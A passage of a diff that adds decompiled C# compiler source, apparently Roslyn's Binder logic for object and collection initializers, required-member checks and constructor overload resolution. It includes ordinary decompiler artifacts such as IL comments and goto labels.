memberNameSyntax, BindingDiagnosticBag diagnostics, BindValueKind valueKind, bool suppressErrors) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (!suppressErrors) + { + string text = ((!(memberNameSyntax is IdentifierNameSyntax { Identifier: var identifier })) ? ((object)memberNameSyntax).ToString() : ((SyntaxToken)(ref identifier)).ValueText); + switch (boundMember.ResultKind) + { + case LookupResultKind.Empty: + Error(diagnostics, ErrorCode.ERR_NoSuchMember, (CSharpSyntaxNode)memberNameSyntax, new object[2] { implicitReceiver.Type, text }); + break; + case LookupResultKind.Inaccessible: + boundMember = CheckValue(boundMember, valueKind, diagnostics); + break; + default: + Error(diagnostics, ErrorCode.ERR_MemberCannotBeInitialized, (CSharpSyntaxNode)memberNameSyntax, new object[1] { text }); + break; + } + } + return ToBadExpression(boundMember, (valueKind == BindValueKind.RValue) ? LookupResultKind.NotAValue : LookupResultKind.NotAVariable); + } + + private static void ReportDuplicateObjectMemberInitializers(BoundExpression boundMemberInitializer, HashSet memberNameMap, BindingDiagnosticBag diagnostics) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + if (!boundMemberInitializer.HasAnyErrors && ((AssignmentExpressionSyntax)(object)boundMemberInitializer.Syntax).Left is IdentifierNameSyntax { Identifier: var identifier } identifierNameSyntax) + { + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + if (!memberNameMap.Add(valueText)) + { + Error(diagnostics, ErrorCode.ERR_MemberAlreadyInitialized, (CSharpSyntaxNode)identifierNameSyntax, new object[1] { valueText }); + } + } + } + + internal static void CheckRequiredMembersInObjectInitializer(MethodSymbol constructor, ImmutableArray initializers, SyntaxNode creationSyntax, BindingDiagnosticBag diagnostics) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + if (!constructor.ShouldCheckRequiredMembers() || constructor.ContainingType.HasRequiredMembersError) + { + return; + } + ImmutableSegmentedDictionary allRequiredMembers = constructor.ContainingType.AllRequiredMembers; + if (allRequiredMembers.Count == 0) + { + return; + } + Builder requiredMembersBuilder = allRequiredMembers.ToBuilder(); + if (initializers.IsDefaultOrEmpty) + { + reportMembers(); + return; + } + ImmutableArray.Enumerator enumerator = initializers.GetEnumerator(); + Symbol symbol3 = default(Symbol); + while (enumerator.MoveNext()) + { + if (!(enumerator.Current is BoundAssignmentOperator boundAssignmentOperator)) + { + continue; + } + BoundExpression left = boundAssignmentOperator.Left; + Symbol symbol = ((left is BoundObjectInitializerMember boundObjectInitializerMember) ? boundObjectInitializerMember.MemberSymbol : ((left is BoundPropertyAccess boundPropertyAccess) ? ((Symbol)boundPropertyAccess.PropertySymbol) : ((Symbol)((!(left is BoundFieldAccess boundFieldAccess)) ? null : boundFieldAccess.FieldSymbol)))); + Symbol symbol2 = symbol; + if ((object)symbol2 != null && requiredMembersBuilder.TryGetValue(symbol2.Name, ref symbol3) && symbol2.Equals(symbol3, (TypeCompareKind)0)) + { + requiredMembersBuilder.Remove(symbol2.Name); + if (boundAssignmentOperator.Right is BoundObjectInitializerExpressionBase boundObjectInitializerExpressionBase) + { + diagnostics.Add(ErrorCode.ERR_RequiredMembersMustBeAssignedValue, boundObjectInitializerExpressionBase.Syntax.Location, symbol3); + } + } + } + reportMembers(); + void reportMembers() + { + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + if (requiredMembersBuilder.Count == 0) + { + return; + } + BaseObjectCreationExpressionSyntax baseObjectCreationExpressionSyntax; + Location location; + if (creationSyntax is ObjectCreationExpressionSyntax objectCreationExpressionSyntax) + { + TypeSyntax type = objectCreationExpressionSyntax.Type; + if (type == null) + { + baseObjectCreationExpressionSyntax = (BaseObjectCreationExpressionSyntax)(object)creationSyntax; + goto IL_004c; + } + location = ((SyntaxNode)type).Location; + } + else + { + baseObjectCreationExpressionSyntax = creationSyntax as BaseObjectCreationExpressionSyntax; + if (baseObjectCreationExpressionSyntax != null) + { + goto IL_004c; + } + if (creationSyntax is AttributeSyntax attributeSyntax) + { + NameSyntax name = attributeSyntax.Name; + if (name != null) + { + location = ((SyntaxNode)name).Location; + goto IL_00a0; + } + } + location = creationSyntax.Location; + } + goto IL_00a0; + IL_004c: + SyntaxToken newKeyword = baseObjectCreationExpressionSyntax.NewKeyword; + location = ((SyntaxToken)(ref newKeyword)).GetLocation(); + goto IL_00a0; + IL_00a0: + Location location2 = location; + Enumerator enumerator2 = requiredMembersBuilder.GetEnumerator(); + try + { + string text = default(string); + Symbol symbol4 = default(Symbol); + while (enumerator2.MoveNext()) + { + KeyValuePairUtil.Deconstruct(enumerator2.Current, ref text, ref symbol4); + Symbol symbol5 = symbol4; + diagnostics.Add(ErrorCode.ERR_RequiredMemberMustBeSet, location2, symbol5); + } + } + finally + { + ((IDisposable)enumerator2/*cast due to constrained. prefix*/).Dispose(); + } + } + } + + private BoundCollectionInitializerExpression BindCollectionInitializerExpression(InitializerExpressionSyntax initializerSyntax, TypeSymbol initializerType, BindingDiagnosticBag diagnostics, BoundObjectOrCollectionValuePlaceholder implicitReceiver) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureCollectionInitializer.CheckFeatureAvailability(diagnostics, initializerSyntax.OpenBraceToken); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + bool flag = CollectionInitializerTypeImplementsIEnumerable(initializerType, initializerSyntax, diagnostics); + if (!flag && !((SyntaxNode)initializerSyntax).HasErrors && !initializerType.IsErrorType()) + { + Error(diagnostics, ErrorCode.ERR_CollectionInitRequiresIEnumerable, (CSharpSyntaxNode)initializerSyntax, new object[1] { initializerType }); + } + Binder collectionInitializerAddMethodBinder = WithAdditionalFlags(BinderFlags.CollectionInitializerAddMethod); + Enumerator enumerator = initializerSyntax.Expressions.GetEnumerator(); + while (enumerator.MoveNext()) + { + ExpressionSyntax current = enumerator.Current; + BoundExpression boundExpression = BindCollectionInitializerElement(current, initializerType, flag, collectionInitializerAddMethodBinder, diagnostics, implicitReceiver); + instance.Add(boundExpression); + } + return new BoundCollectionInitializerExpression((SyntaxNode)(object)initializerSyntax, implicitReceiver, instance.ToImmutableAndFree(), initializerType); + } + + private bool CollectionInitializerTypeImplementsIEnumerable(TypeSymbol initializerType, CSharpSyntaxNode node, BindingDiagnosticBag diagnostics) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + if (initializerType.IsDynamic()) + { + return true; + } + if (!initializerType.IsErrorType()) + { + TypeSymbol specialType = GetSpecialType((SpecialType)24, diagnostics, (SyntaxNode)(object)node); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + bool isValid = Conversions.ClassifyImplicitConversionFromType(initializerType, specialType, ref useSiteInfo).IsValid; + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + return isValid; + } + return false; + } + + private BoundExpression BindCollectionInitializerElement(ExpressionSyntax elementInitializer, TypeSymbol initializerType, bool hasEnumerableInitializerType, Binder collectionInitializerAddMethodBinder, BindingDiagnosticBag diagnostics, BoundObjectOrCollectionValuePlaceholder implicitReceiver) + { + if (elementInitializer.Kind() == SyntaxKind.ComplexElementInitializerExpression) + { + return BindComplexElementInitializerExpression((InitializerExpressionSyntax)elementInitializer, diagnostics, hasEnumerableInitializerType, collectionInitializerAddMethodBinder, implicitReceiver); + } + if (SyntaxFacts.IsAssignmentExpression(elementInitializer.Kind())) + { + Error(diagnostics, ErrorCode.ERR_InvalidInitializerElementInitializer, (CSharpSyntaxNode)elementInitializer); + } + BoundExpression item = BindInitializerExpressionOrValue(elementInitializer, initializerType, BindValueKind.RValue, implicitReceiver.Syntax, diagnostics); + BoundExpression boundExpression = BindCollectionInitializerElementAddMethod(elementInitializer, ImmutableArray.Create(item), hasEnumerableInitializerType, collectionInitializerAddMethodBinder, diagnostics, implicitReceiver); + boundExpression.WasCompilerGenerated = true; + return boundExpression; + } + + private BoundExpression BindComplexElementInitializerExpression(InitializerExpressionSyntax elementInitializer, BindingDiagnosticBag diagnostics, bool hasEnumerableInitializerType, Binder collectionInitializerAddMethodBinder = null, BoundObjectOrCollectionValuePlaceholder implicitReceiver = null) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + SeparatedSyntaxList expressions = elementInitializer.Expressions; + if (expressions.Any()) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Enumerator enumerator = expressions.GetEnumerator(); + while (enumerator.MoveNext()) + { + ExpressionSyntax current = enumerator.Current; + instance.Add(BindValue(current, diagnostics, BindValueKind.RValue)); + } + return BindCollectionInitializerElementAddMethod(elementInitializer, instance.ToImmutableAndFree(), hasEnumerableInitializerType, collectionInitializerAddMethodBinder, diagnostics, implicitReceiver); + } + Error(diagnostics, ErrorCode.ERR_EmptyElementInitializer, (CSharpSyntaxNode)elementInitializer); + return BadExpression((SyntaxNode)(object)elementInitializer, LookupResultKind.NotInvocable); + } + + private BoundExpression BindUnexpectedComplexElementInitializer(InitializerExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + return BindComplexElementInitializerExpression(node, diagnostics, hasEnumerableInitializerType: false); + } + + private BoundExpression BindCollectionInitializerElementAddMethod(ExpressionSyntax elementInitializer, ImmutableArray boundElementInitializerExpressions, bool hasEnumerableInitializerType, Binder collectionInitializerAddMethodBinder, BindingDiagnosticBag diagnostics, BoundObjectOrCollectionValuePlaceholder implicitReceiver) + { + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_0164: Unknown result type (might be due to invalid IL or missing references) + if (!hasEnumerableInitializerType) + { + return BadExpression((SyntaxNode)(object)elementInitializer, LookupResultKind.NotInvocable, ImmutableArray.Empty, boundElementInitializerExpressions); + } + if (implicitReceiver.Type.IsDynamic()) + { + bool hasErrors = ReportBadDynamicArguments((SyntaxNode)(object)elementInitializer, boundElementInitializerExpressions, default(ImmutableArray), diagnostics, null); + return new BoundDynamicCollectionElementInitializer((SyntaxNode)(object)elementInitializer, ImmutableArray.Empty, implicitReceiver, ImmutableArrayExtensions.SelectAsArray(boundElementInitializerExpressions, (Func)((BoundExpression e) => BindToNaturalType(e, diagnostics))), GetSpecialType((SpecialType)6, diagnostics, (SyntaxNode)(object)elementInitializer), hasErrors); + } + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + BoundExpression boundExpression = collectionInitializerAddMethodBinder.MakeInvocationExpression((SyntaxNode)(object)elementInitializer, implicitReceiver, "Add", boundElementInitializerExpressions, instance); + copyRelevantAddMethodDiagnostics(instance, diagnostics); + if (boundExpression.Kind == BoundKind.DynamicInvocation) + { + BoundDynamicInvocation boundDynamicInvocation = (BoundDynamicInvocation)boundExpression; + return new BoundDynamicCollectionElementInitializer((SyntaxNode)(object)elementInitializer, boundDynamicInvocation.ApplicableMethods, implicitReceiver, boundDynamicInvocation.Arguments, boundDynamicInvocation.Type, boundDynamicInvocation.HasAnyErrors); + } + if (boundExpression.Kind == BoundKind.Call) + { + BoundCall boundCall = (BoundCall)boundExpression; + if (boundCall.HasErrors && !boundCall.OriginalMethodsOpt.IsDefault) + { + return boundCall; + } + return new BoundCollectionElementInitializer((SyntaxNode)(object)elementInitializer, boundCall.Method, boundCall.Arguments, boundCall.ReceiverOpt, boundCall.Expanded, boundCall.ArgsToParamsOpt, boundCall.DefaultArguments, boundCall.InvokedAsExtensionMethod, boundCall.ResultKind, boundCall.Type, boundCall.HasAnyErrors) + { + WasCompilerGenerated = true + }; + } + return boundExpression; + static void copyRelevantAddMethodDiagnostics(BindingDiagnosticBag source, BindingDiagnosticBag target) + { + ((BindingDiagnosticBag)(object)target).AddDependencies((BindingDiagnosticBag)(object)source, false); + DiagnosticBag diagnosticBag = ((BindingDiagnosticBag)source).DiagnosticBag; + if (diagnosticBag != null && !diagnosticBag.IsEmptyWithoutResolution) + { + foreach (Diagnostic item in diagnosticBag.AsEnumerableWithoutResolution()) + { + ErrorCode code = (ErrorCode)item.Code; + if ((code != ErrorCode.WRN_ArgExpectedRefOrIn && code != ErrorCode.WRN_ArgExpectedIn) || 1 == 0) + { + ((BindingDiagnosticBag)target).Add(item); + } + } + } + ((BindingDiagnosticBag)(object)source).Free(); + } + } + + internal BoundExpression BindCollectionExpressionElementAddMethod(BoundExpression element, Binder collectionInitializerAddMethodBinder, BoundObjectOrCollectionValuePlaceholder implicitReceiver, BindingDiagnosticBag diagnostics, out bool hasErrors) + { + BoundExpression boundExpression = ((element is BoundCollectionExpressionSpreadElement boundCollectionExpressionSpreadElement) ? BindCollectionExpressionSpreadElementAddMethod((SpreadElementSyntax)(object)boundCollectionExpressionSpreadElement.Syntax, boundCollectionExpressionSpreadElement, collectionInitializerAddMethodBinder, implicitReceiver, diagnostics) : BindCollectionInitializerElementAddMethod((ExpressionSyntax)(object)element.Syntax, ImmutableArray.Create(element), hasEnumerableInitializerType: true, collectionInitializerAddMethodBinder, diagnostics, implicitReceiver)); + hasErrors = boundExpression.HasErrors; + return boundExpression; + } + + private BoundCollectionExpressionSpreadElement BindCollectionExpressionSpreadElementAddMethod(SpreadElementSyntax syntax, BoundCollectionExpressionSpreadElement element, Binder collectionInitializerAddMethodBinder, BoundObjectOrCollectionValuePlaceholder implicitReceiver, BindingDiagnosticBag diagnostics) + { + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + ForEachEnumeratorInfo enumeratorInfoOpt = element.EnumeratorInfoOpt; + if (enumeratorInfoOpt == null) + { + return element.Update(BindToNaturalType(element.Expression, BindingDiagnosticBag.Discarded, reportNoTargetType: false), element.ExpressionPlaceholder, null, enumeratorInfoOpt, null, null, null); + } + BoundValuePlaceholder boundValuePlaceholder = new BoundValuePlaceholder((SyntaxNode)(object)syntax, enumeratorInfoOpt.ElementType); + BoundExpression expression = collectionInitializerAddMethodBinder.MakeInvocationExpression((SyntaxNode)(object)syntax, implicitReceiver, "Add", ImmutableArray.Create((BoundExpression)boundValuePlaceholder), diagnostics); + return element.Update(element.Expression, element.ExpressionPlaceholder, element.Conversion, enumeratorInfoOpt, element.LengthOrCount, boundValuePlaceholder, new BoundExpressionStatement((SyntaxNode)(object)syntax, expression) + { + WasCompilerGenerated = true + }); + } + + internal ImmutableArray FilterInaccessibleConstructors(ImmutableArray constructors, bool allowProtectedConstructorsOfBaseType, ref CompoundUseSiteInfo useSiteInfo) + { + ArrayBuilder val = null; + for (int i = 0; i < constructors.Length; i++) + { + MethodSymbol methodSymbol = constructors[i]; + if (!IsConstructorAccessible(methodSymbol, ref useSiteInfo, allowProtectedConstructorsOfBaseType)) + { + if (val == null) + { + val = ArrayBuilder.GetInstance(); + val.AddRange(constructors, i); + } + } + else + { + val?.Add(methodSymbol); + } + } + return val?.ToImmutableAndFree() ?? constructors; + } + + private bool IsConstructorAccessible(MethodSymbol constructor, ref CompoundUseSiteInfo useSiteInfo, bool allowProtectedConstructorsOfBaseType = false) + { + NamedTypeSymbol containingType = ContainingType; + if ((object)containingType != null) + { + if (!allowProtectedConstructorsOfBaseType) + { + return IsSymbolAccessibleConditional(constructor, containingType, ref useSiteInfo, constructor.ContainingType); + } + return IsAccessible(constructor, ref useSiteInfo); + } + return IsSymbolAccessibleConditional(constructor, Compilation.Assembly, ref useSiteInfo); + } + + protected BoundExpression BindClassCreationExpression(SyntaxNode node, string typeName, SyntaxNode typeNode, NamedTypeSymbol type, AnalyzedArguments analyzedArguments, BindingDiagnosticBag diagnostics, InitializerExpressionSyntax initializerSyntaxOpt = null, TypeSymbol initializerTypeOpt = null, bool wasTargetTyped = false) + { + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_00c0: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_02ef: Unknown result type (might be due to invalid IL or missing references) + //IL_01b3: Unknown result type (might be due to invalid IL or missing references) + //IL_0263: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = null; + bool flag = type.IsErrorType(); + if (type.IsAbstract) + { + diagnostics.Add(ErrorCode.ERR_NoNewAbstract, node.Location, type); + flag = true; + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + BoundObjectInitializerExpressionBase boundObjectInitializerExpressionBase = null; + if (analyzedArguments.HasDynamicArgument) + { + OverloadResolutionResult instance = OverloadResolutionResult.GetInstance(); + OverloadResolution.ObjectCreationOverloadResolution(GetAccessibleConstructorsForOverloadResolution(type, ref useSiteInfo), analyzedArguments, instance, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(node, useSiteInfo); + useSiteInfo._002Ector(useSiteInfo); + if (instance.HasAnyApplicableMember) + { + ImmutableArray arguments = BuildArgumentsForDynamicInvocation(analyzedArguments, diagnostics); + ImmutableArray immutableArray = analyzedArguments.RefKinds.ToImmutableOrNull(); + flag &= ReportBadDynamicArguments(node, arguments, immutableArray, diagnostics, null); + boundObjectInitializerExpressionBase = makeBoundInitializerOpt(); + boundExpression = new BoundDynamicObjectCreationExpression(node, typeName, arguments, analyzedArguments.GetNames(), immutableArray, boundObjectInitializerExpressionBase, instance.GetAllApplicableMembers(), wasTargetTyped, type, flag); + } + instance.Free(); + if (boundExpression != null) + { + return boundExpression; + } + } + if (TryPerformConstructorOverloadResolution(type, analyzedArguments, typeName, typeNode.Location, flag, diagnostics, out var memberResolutionResult, out var candidateConstructors, allowProtectedConstructorsOfBaseType: false, suppressUnsupportedRequiredMembersError: false) && !type.IsAbstract) + { + MethodSymbol member = memberResolutionResult.Member; + bool flag2 = false; + if (member.HasParameterContainingPointerType()) + { + flag2 = ReportUnsafeIfNotAllowed(node, diagnostics) || flag2; + } + ReportDiagnosticsIfObsolete(diagnostics, member, SyntaxNodeOrToken.op_Implicit(node), hasBaseReceiver: false); + ConstantValue constantValueOpt = ((initializerSyntaxOpt == null && member.IsDefaultValueTypeConstructor()) ? FoldParameterlessValueTypeConstructor(type) : null); + bool expanded = memberResolutionResult.Result.Kind == MemberResolutionKind.ApplicableInExpandedForm; + ImmutableArray argsToParamsOpt = memberResolutionResult.Result.ArgsToParamsOpt; + BindDefaultArguments(node, member.Parameters, analyzedArguments.Arguments, analyzedArguments.RefKinds, ref argsToParamsOpt, out var defaultArguments, expanded, enableCallerInfo: true, diagnostics); + ImmutableArray arguments2 = analyzedArguments.Arguments.ToImmutable(); + ImmutableArray argumentRefKindsOpt = analyzedArguments.RefKinds.ToImmutableOrNull(); + boundObjectInitializerExpressionBase = makeBoundInitializerOpt(); + BoundObjectCreationExpression boundObjectCreationExpression = new BoundObjectCreationExpression(node, member, candidateConstructors, arguments2, analyzedArguments.GetNames(), argumentRefKindsOpt, expanded, argsToParamsOpt, defaultArguments, constantValueOpt, boundObjectInitializerExpressionBase, wasTargetTyped, type, flag2); + CheckRequiredMembersInObjectInitializer(boundObjectCreationExpression.Constructor, boundObjectCreationExpression.InitializerExpressionOpt?.Initializers ?? default(ImmutableArray), boundObjectCreationExpression.Syntax, diagnostics); + return boundObjectCreationExpression; + } + LookupResultKind resultKind = (type.IsAbstract ? LookupResultKind.NotCreatable : ((!memberResolutionResult.IsValid || IsConstructorAccessible(memberResolutionResult.Member, ref useSiteInfo)) ? LookupResultKind.OverloadResolutionFailure : LookupResultKind.Inaccessible)); + ((BindingDiagnosticBag)(object)diagnostics).Add(node, useSiteInfo); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + instance2.AddRange(candidateConstructors); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + instance3.AddRange(BuildArgumentsForErrorRecovery(analyzedArguments, candidateConstructors)); + if (initializerSyntaxOpt != null) + { + instance3.Add((BoundExpression)(boundObjectInitializerExpressionBase ?? makeBoundInitializerOpt())); + } + return new BoundBadExpression(node, resultKind, instance2.ToImmutableAndFree(), instance3.ToImmutableAndFree(), type); + BoundObjectInitializerExpressionBase makeBoundInitializerOpt() + { + if (initializerSyntaxOpt != null) + { + return BindInitializerExpression(initializerSyntaxOpt, initializerTypeOpt ?? type, typeNode, isForNewInstance: true, diagnostics); + } + return null; + } + } + + private BoundExpression BindInterfaceCreationExpression(ObjectCreationExpressionSyntax node, NamedTypeSymbol type, BindingDiagnosticBag diagnostics) + { + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + BindArgumentsAndNames(node.ArgumentList, diagnostics, instance); + BoundExpression result = BindInterfaceCreationExpression((SyntaxNode)(object)node, type, diagnostics, (SyntaxNode)(object)node.Type, instance, node.Initializer, wasTargetTyped: false); + instance.Free(); + return result; + } + + private BoundExpression BindInterfaceCreationExpression(SyntaxNode node, NamedTypeSymbol type, BindingDiagnosticBag diagnostics, SyntaxNode typeNode, AnalyzedArguments analyzedArguments, InitializerExpressionSyntax initializerOpt, bool wasTargetTyped) + { + if (!InAttributeArgument && type.IsComImport) + { + NamedTypeSymbol comImportCoClass = type.ComImportCoClass; + if ((object)comImportCoClass != null) + { + return BindComImportCoClassCreationExpression(node, type, comImportCoClass, diagnostics, typeNode, analyzedArguments, initializerOpt, wasTargetTyped); + } + } + diagnostics.Add(ErrorCode.ERR_NoNewAbstract, node.Location, type); + return MakeBadExpressionForObjectCreation(node, type, analyzedArguments, initializerOpt, typeNode, diagnostics); + } + + private BoundExpression BindComImportCoClassCreationExpression(SyntaxNode node, NamedTypeSymbol interfaceType, NamedTypeSymbol coClassType, BindingDiagnosticBag diagnostics, SyntaxNode typeNode, AnalyzedArguments analyzedArguments, InitializerExpressionSyntax initializerOpt, bool wasTargetTyped) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_015d: Unknown result type (might be due to invalid IL or missing references) + if (coClassType.IsErrorType()) + { + Error(diagnostics, ErrorCode.ERR_MissingCoClass, SyntaxNodeOrToken.op_Implicit(node), coClassType, interfaceType); + } + else + { + if (!coClassType.IsUnboundGenericType) + { + if (interfaceType.ContainingAssembly.IsLinked) + { + return BindNoPiaObjectCreationExpression(node, interfaceType, coClassType, diagnostics, typeNode, analyzedArguments, initializerOpt, wasTargetTyped); + } + BoundExpression boundExpression = BindClassCreationExpression(node, coClassType.Name, typeNode, coClassType, analyzedArguments, diagnostics, initializerOpt, interfaceType, wasTargetTyped); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = Conversions.ClassifyConversionFromExpression(boundExpression, interfaceType, CheckOverflowAtRuntime, ref useSiteInfo, forCast: true); + ((BindingDiagnosticBag)(object)diagnostics).Add(node, useSiteInfo); + if (!conversion.IsValid) + { + SymbolDistinguisher symbolDistinguisher = new SymbolDistinguisher(Compilation, coClassType, interfaceType); + Error(diagnostics, ErrorCode.ERR_NoExplicitConv, SyntaxNodeOrToken.op_Implicit(node), symbolDistinguisher.First, symbolDistinguisher.Second); + } + CreateConversion(boundExpression, conversion, interfaceType, diagnostics); + switch (boundExpression.Kind) + { + case BoundKind.ObjectCreationExpression: + { + BoundObjectCreationExpression boundObjectCreationExpression = (BoundObjectCreationExpression)boundExpression; + return boundObjectCreationExpression.Update(boundObjectCreationExpression.Constructor, boundObjectCreationExpression.ConstructorsGroup, boundObjectCreationExpression.Arguments, boundObjectCreationExpression.ArgumentNamesOpt, boundObjectCreationExpression.ArgumentRefKindsOpt, boundObjectCreationExpression.Expanded, boundObjectCreationExpression.ArgsToParamsOpt, boundObjectCreationExpression.DefaultArguments, boundObjectCreationExpression.ConstantValueOpt, boundObjectCreationExpression.InitializerExpressionOpt, interfaceType); + } + case BoundKind.BadExpression: + { + BoundBadExpression boundBadExpression = (BoundBadExpression)boundExpression; + return boundBadExpression.Update(boundBadExpression.ResultKind, boundBadExpression.Symbols, boundBadExpression.ChildBoundNodes, interfaceType); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)boundExpression.Kind); + } + } + Error(diagnostics, ErrorCode.ERR_BadCoClassSig, SyntaxNodeOrToken.op_Implicit(node), coClassType, interfaceType); + } + return MakeBadExpressionForObjectCreation(node, interfaceType, analyzedArguments, initializerOpt, typeNode, diagnostics); + } + + private BoundExpression BindNoPiaObjectCreationExpression(SyntaxNode node, NamedTypeSymbol interfaceType, NamedTypeSymbol coClassType, BindingDiagnosticBag diagnostics, SyntaxNode typeNode, AnalyzedArguments analyzedArguments, InitializerExpressionSyntax initializerOpt, bool wasTargetTyped) + { + if (!coClassType.GetGuidString(out var guidString)) + { + Guid empty = Guid.Empty; + guidString = empty.ToString("D"); + } + BoundObjectInitializerExpressionBase boundObjectInitializerExpressionBase = ((initializerOpt == null) ? null : BindInitializerExpression(initializerOpt, interfaceType, typeNode, isForNewInstance: true, diagnostics)); + if (analyzedArguments.Arguments.Count > 0) + { + diagnostics.Add(ErrorCode.ERR_BadCtorArgCount, typeNode.Location, interfaceType, analyzedArguments.Arguments.Count); + ImmutableArray childBoundNodes = BuildArgumentsForErrorRecovery(analyzedArguments); + if (boundObjectInitializerExpressionBase != null) + { + childBoundNodes = childBoundNodes.Add(boundObjectInitializerExpressionBase); + } + return new BoundBadExpression(node, LookupResultKind.OverloadResolutionFailure, ImmutableArray.Empty, childBoundNodes, interfaceType); + } + return new BoundNoPiaObjectCreationExpression(node, guidString, boundObjectInitializerExpressionBase, wasTargetTyped, interfaceType); + } + + private BoundExpression BindTypeParameterCreationExpression(ObjectCreationExpressionSyntax node, TypeParameterSymbol typeParameter, BindingDiagnosticBag diagnostics) + { + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + BindArgumentsAndNames(node.ArgumentList, diagnostics, instance); + BoundExpression result = BindTypeParameterCreationExpression((SyntaxNode)(object)node, typeParameter, instance, node.Initializer, (SyntaxNode)(object)node.Type, wasTargetTyped: false, diagnostics); + instance.Free(); + return result; + } + + private BoundExpression BindTypeParameterCreationExpression(SyntaxNode node, TypeParameterSymbol typeParameter, AnalyzedArguments analyzedArguments, InitializerExpressionSyntax? initializerOpt, SyntaxNode typeSyntax, bool wasTargetTyped, BindingDiagnosticBag diagnostics) + { + if (!typeParameter.HasConstructorConstraint && !typeParameter.IsValueType) + { + diagnostics.Add(ErrorCode.ERR_NoNewTyvar, node.Location, typeParameter); + } + else + { + if (analyzedArguments.Arguments.Count <= 0) + { + BoundObjectInitializerExpressionBase initializerExpressionOpt = ((initializerOpt == null) ? null : BindInitializerExpression(initializerOpt, typeParameter, typeSyntax, isForNewInstance: true, diagnostics)); + return new BoundNewT(node, initializerExpressionOpt, wasTargetTyped, typeParameter); + } + diagnostics.Add(ErrorCode.ERR_NewTyvarWithArgs, node.Location, typeParameter); + } + return MakeBadExpressionForObjectCreation(node, typeParameter, analyzedArguments, initializerOpt, typeSyntax, diagnostics); + } + + internal bool TryPerformConstructorOverloadResolution(NamedTypeSymbol typeContainingConstructors, AnalyzedArguments analyzedArguments, string errorName, Location errorLocation, bool suppressResultDiagnostics, BindingDiagnosticBag diagnostics, out MemberResolutionResult memberResolutionResult, out ImmutableArray candidateConstructors, bool allowProtectedConstructorsOfBaseType, bool suppressUnsupportedRequiredMembersError) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + candidateConstructors = GetAccessibleConstructorsForOverloadResolution(typeContainingConstructors, allowProtectedConstructorsOfBaseType, out var allInstanceConstructors, ref useSiteInfo); + OverloadResolutionResult overloadResolutionResult = OverloadResolutionResult.GetInstance(); + bool flag = false; + bool flag2 = false; + if (candidateConstructors.Any()) + { + OverloadResolution.ObjectCreationOverloadResolution(candidateConstructors, analyzedArguments, overloadResolutionResult, ref useSiteInfo); + if (overloadResolutionResult.Succeeded) + { + flag = true; + flag2 = true; + } + } + if (!flag && allInstanceConstructors.Length > candidateConstructors.Length) + { + OverloadResolutionResult instance = OverloadResolutionResult.GetInstance(); + OverloadResolution.ObjectCreationOverloadResolution(allInstanceConstructors, analyzedArguments, instance, ref useSiteInfo); + if (instance.Succeeded) + { + flag2 = true; + candidateConstructors = allInstanceConstructors; + overloadResolutionResult.Free(); + overloadResolutionResult = instance; + } + else + { + instance.Free(); + } + } + ReportConstructorUseSiteDiagnostics(errorLocation, diagnostics, suppressUnsupportedRequiredMembersError, useSiteInfo); + if (flag2) + { + CheckAndCoerceArguments(overloadResolutionResult.ValidResult, analyzedArguments, diagnostics, null, invokedAsExtensionMethod: false); + } + memberResolutionResult = (flag2 ? 